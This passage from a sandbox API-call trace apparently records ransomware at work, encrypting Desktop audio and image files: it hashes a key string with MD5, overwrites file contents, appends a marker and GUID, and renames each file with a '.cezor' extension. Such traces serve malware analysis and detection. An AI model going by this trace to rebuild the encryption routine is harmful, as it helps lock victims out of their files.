hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.832] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.832] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.832] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.832] GetLastError () returned 0x0 [0059.832] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.832] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.832] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.832] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4890) returned 0x31218d0 [0059.832] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.832] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.832] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x488c, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x488c, lpOverlapped=0x0) returned 1 [0059.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0059.833] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4891, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.833] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.833] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.833] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.833] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.833] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.833] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.833] CloseHandle (hObject=0x5c4) returned 1 [0059.834] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.834] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.834] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.834] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fn3wxYGSmK_5.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fn3wxygsmk_5.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fn3wxYGSmK_5.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fn3wxygsmk_5.wav.cezor")) returned 1 [0059.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.835] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.836] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.836] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b566a0, ftCreationTime.dwHighDateTime=0x1d4cda1, ftLastAccessTime.dwLowDateTime=0xca4bbb80, ftLastAccessTime.dwHighDateTime=0x1d4c693, ftLastWriteTime.dwLowDateTime=0xca4bbb80, ftLastWriteTime.dwHighDateTime=0x1d4c693, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gl-n 26G.bmp", cAlternateFileName="GL-N26~1.BMP")) returned 1 [0059.836] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.836] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.836] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.836] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gl-n 26G.bmp") returned=".bmp" [0059.836] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gl-n 26G.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl-n 26g.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.836] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=19688) returned 1 [0059.836] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.838] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4cc2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.839] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.839] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.839] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.839] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.839] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4ce8, lpOverlapped=0x0) returned 1 [0059.840] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.840] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.840] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.840] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.840] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.840] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.840] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.840] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.841] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.841] GetLastError () returned 0x0 [0059.841] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.841] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4cf0) returned 0x31218d0 [0059.841] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.841] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x4ce3, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x4ce3, lpOverlapped=0x0) returned 1 [0059.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0059.841] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4ce8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.841] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.841] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.842] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.842] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.842] CloseHandle (hObject=0x5c4) returned 1 [0059.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d870 [0059.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0059.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d870 | out: hHeap=0x670000) returned 1 [0059.843] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gl-n 26G.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl-n 26g.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gl-n 26G.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gl-n 26g.bmp.cezor")) returned 1 [0059.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.843] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.844] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.844] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbbf8a0, ftCreationTime.dwHighDateTime=0x1d4cadc, ftLastAccessTime.dwLowDateTime=0x503807a0, ftLastAccessTime.dwHighDateTime=0x1d4d2e5, ftLastWriteTime.dwLowDateTime=0x503807a0, ftLastWriteTime.dwHighDateTime=0x1d4d2e5, nFileSizeHigh=0x0, nFileSizeLow=0x8409, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GMWkR.wav", cAlternateFileName="")) returned 1 [0059.844] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.844] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.844] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.844] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GMWkR.wav") returned=".wav" [0059.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GMWkR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmwkr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.844] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=33801) returned 1 [0059.844] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.849] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x83e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.849] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.850] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.850] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.850] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.850] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8409, lpOverlapped=0x0) returned 1 [0059.850] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.850] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.850] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.850] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.850] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.851] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.851] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.851] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.851] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.851] GetLastError () returned 0x0 [0059.851] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.851] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.851] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.851] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8410) returned 0x3132418 [0059.852] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.852] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x8404, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x8404, lpOverlapped=0x0) returned 1 [0059.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0059.852] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8409, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x311d498 [0059.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x311d498, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0059.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x311d498 | out: hHeap=0x670000) returned 1 [0059.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.852] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0059.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.852] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0059.852] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0059.852] CloseHandle (hObject=0x5c4) returned 1 [0059.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x870) returned 0x306a418 [0059.853] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: hHeap=0x670000) returned 1 [0059.853] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GMWkR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmwkr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GMWkR.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmwkr.wav.cezor")) returned 1 [0059.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.854] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30fc570 | out: hHeap=0x670000) returned 1 [0059.855] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x995d1b00, ftCreationTime.dwHighDateTime=0x1d4c548, ftLastAccessTime.dwLowDateTime=0x2dff71c0, ftLastAccessTime.dwHighDateTime=0x1d4c94c, ftLastWriteTime.dwLowDateTime=0x2dff71c0, ftLastWriteTime.dwHighDateTime=0x1d4c94c, nFileSizeHigh=0x0, nFileSizeLow=0x3dda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I TKCX nhSV2b.mp3", cAlternateFileName="ITKCXN~1.MP3")) returned 1 [0059.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x3119710 [0059.855] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x76) returned 0x30fc570 [0059.855] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.855] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I TKCX nhSV2b.mp3") returned=".mp3" [0059.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I TKCX nhSV2b.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i tkcx nhsv2b.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.855] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=15834) returned 1 [0059.855] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0059.858] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.858] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0059.859] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0059.859] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.859] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.859] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x3dda, lpOverlapped=0x0) returned 1 [0059.859] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.859] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0059.859] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.859] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0059.859] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ea30) returned 1 [0059.860] CryptCreateHash (in: hProv=0x74ea30, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0059.860] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0059.860] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0059.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0059.860] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0059.860] GetLastError () returned 0x0 [0059.860] CryptDestroyHash (hHash=0x3038608) returned 1 [0059.860] CryptReleaseContext (hProv=0x74ea30, dwFlags=0x0) returned 1 [0059.860] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0059.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x3de0) returned 0x31218d0 [0059.860] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0059.860] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0059.860] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x3dd5, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x3dd5, lpOverlapped=0x0) returned 1 [0059.860] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0059.860] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x3dda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6358 [0059.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0059.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0059.860] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0059.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0059.861] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6358 | out: 